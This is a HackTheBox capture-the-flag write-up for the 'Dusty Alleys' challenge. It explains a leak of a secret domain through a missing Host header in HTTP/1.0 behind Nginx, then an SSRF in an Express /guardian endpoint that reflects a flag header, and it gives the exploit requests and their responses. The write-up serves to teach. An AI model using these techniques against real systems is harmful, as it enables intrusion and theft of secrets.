Use the tree to jump between collections without leaving the reader.

archive Select writeup Open tree
HackTheBox/Challenges/Challenge Dusty Alleys.en.md READ_ONLY

Challenge Dusty Alleys

The challenge revolves around a target environment consisting of a public-facing Nginx reverse proxy and an internal Node.js Express application. The Nginx configuration relies on a secret variable for domain-based routing, and the Express application features an endpoint vulnerable to Server-Side Request Forgery (SSRF) that injects sensitive environment variables into outbound requests.

To begin the analysis, the dependencies of the Node.js application are examined in the package.json file. The application relies on standard packages such as Express and EJS.

{
  "name": "dusty-alleys",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node index.js"
  },
  "dependencies": {
    "ejs": "^3.1.10",
    "express": "^4.19.2",
    "node-fetch": "2.6.6"
  },
  "keywords": [],
  "author": "",
  "license": "ISC"
}

Further review of the Nginx routing configuration in default.conf reveals how the reverse proxy manages incoming requests. The routing depends heavily on the Host header, appending a secret variable $SECRET_ALLEY. The configuration maps the /alley and /think endpoints to alley.$SECRET_ALLEY and the /guardian endpoint to guardian.$SECRET_ALLEY.

server {
        listen 80 default_server;
        server_name alley.$SECRET_ALLEY;

    location / {
        root /var/www/html/;
        index index.html;
    }

        location /alley {
                        proxy_pass http://localhost:1337;
                        proxy_set_header Host $host;
                        proxy_set_header X-Real-IP $remote_addr;
                        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                        proxy_set_header X-Forwarded-Proto $scheme;
        }

        location /think  {
                        proxy_pass http://localhost:1337;
                        proxy_set_header Host $host;
                        proxy_set_header X-Real-IP $remote_addr;
                        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                        proxy_set_header X-Forwarded-Proto $scheme;

                        }
}

server {
        listen 80;
                server_name guardian.$SECRET_ALLEY;

        location /guardian {
                        proxy_pass http://localhost:1337;
                        proxy_set_header Host $host;
                        proxy_set_header X-Real-IP $remote_addr;
                        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                        proxy_set_header X-Forwarded-Proto $scheme;
        }
}

A close look at the application logic in guardian.js reveals three main routes. The /guardian endpoint accepts a quote parameter, parses it as a URL, and ensures that the hostname evaluates to or ends with localhost. If this check is passed, the server performs a GET request to the specified URL using node-fetch, injecting the flag into the Key header of the outgoing request. Meanwhile, the /think endpoint simply echoes back any headers sent to it.

const node_fetch = require("node-fetch");
const router = require("express").Router();

router.get("/alley", async (_, res) => {
  res.render("index");
});

router.get("/think", async (req, res) => {
  return res.json(req.headers);
});

router.get("/guardian", async (req, res) => {
  const quote = req.query.quote;

  if (!quote) return res.render("guardian");

  try {
    const location = new URL(quote);
    const direction = location.hostname;
    if (!direction.endsWith("localhost") && direction !== "localhost")
      return res.send("guardian", {
        error: "You are forbidden from talking with me.",
      });
  } catch (error) {
    return res.render("guardian", { error: "My brain circuits are mad." });
  }

  try {
    let result = await node_fetch(quote, {
      method: "GET",
      headers: { Key: process.env.FLAG || "HTB{REDACTED}" },
    }).then((res) => res.text());

    res.set("Content-Type", "text/plain");

    res.send(result);
  } catch (e) {
    console.error(e);
    return res.render("guardian", {
      error: "The words are lost in my circuits",
    });
  }
});

module.exports = router;

Exploiting this setup requires interacting with the /guardian endpoint, but doing so necessitates knowing the secret variable appended to the domain name. Since the HTTP/1.0 protocol does not mandate a Host header, an empty request can be sent to the default server block to leak its associated domain name. Sending an HTTP/1.0 request to /think without a Host header forces Nginx to process it using the default server block, thereby disclosing the internal host.

GET /think HTTP/1.0

The server responds with the headers generated by Nginx, exposing alley.firstalleyontheleft.com as the default host.

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 17 Jul 2026 22:51:23 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 150
Connection: close
X-Powered-By: Express
ETag: W/"96-LcrI/ItV2GriXiaHNHG8KvUQO4M"

{
    "host": "alley.firstalleyontheleft.com",
    "x-real-ip": "200.3.145.206",
    "x-forwarded-for": "200.3.145.206",
    "x-forwarded-proto": "http",
    "connection": "close"
}

With the secret domain identified as firstalleyontheleft.com, a valid request can now be formulated to target the /guardian endpoint. By modifying the host to guardian.firstalleyontheleft.com and supplying http://localhost:1337/think as the quote parameter, the application triggers a Server-Side Request Forgery (SSRF) against its own /think endpoint. This local request includes the flag within the Key header, which is then reflected back in the response.

GET /guardian?quote=http://localhost:1337/think HTTP/1.1
Host: guardian.firstalleyontheleft.com

The reflected headers within the final response reveal the injected flag, concluding the exploitation process.

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 17 Jul 2026 22:53:45 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 198
Connection: keep-alive
X-Powered-By: Express
ETag: W/"c6-Y6sIT9Axx7pYyoLJfoLxv9v05Gk"

{
    "key": "HTB{FLAG}",
    "accept": "*/*",
    "user-agent": "node-fetch/1.0 (+https://github.com/bitinn/node-fetch)",
    "accept-encoding": "gzip,deflate",
    "connection": "close",
    "host": "localhost:1337"
}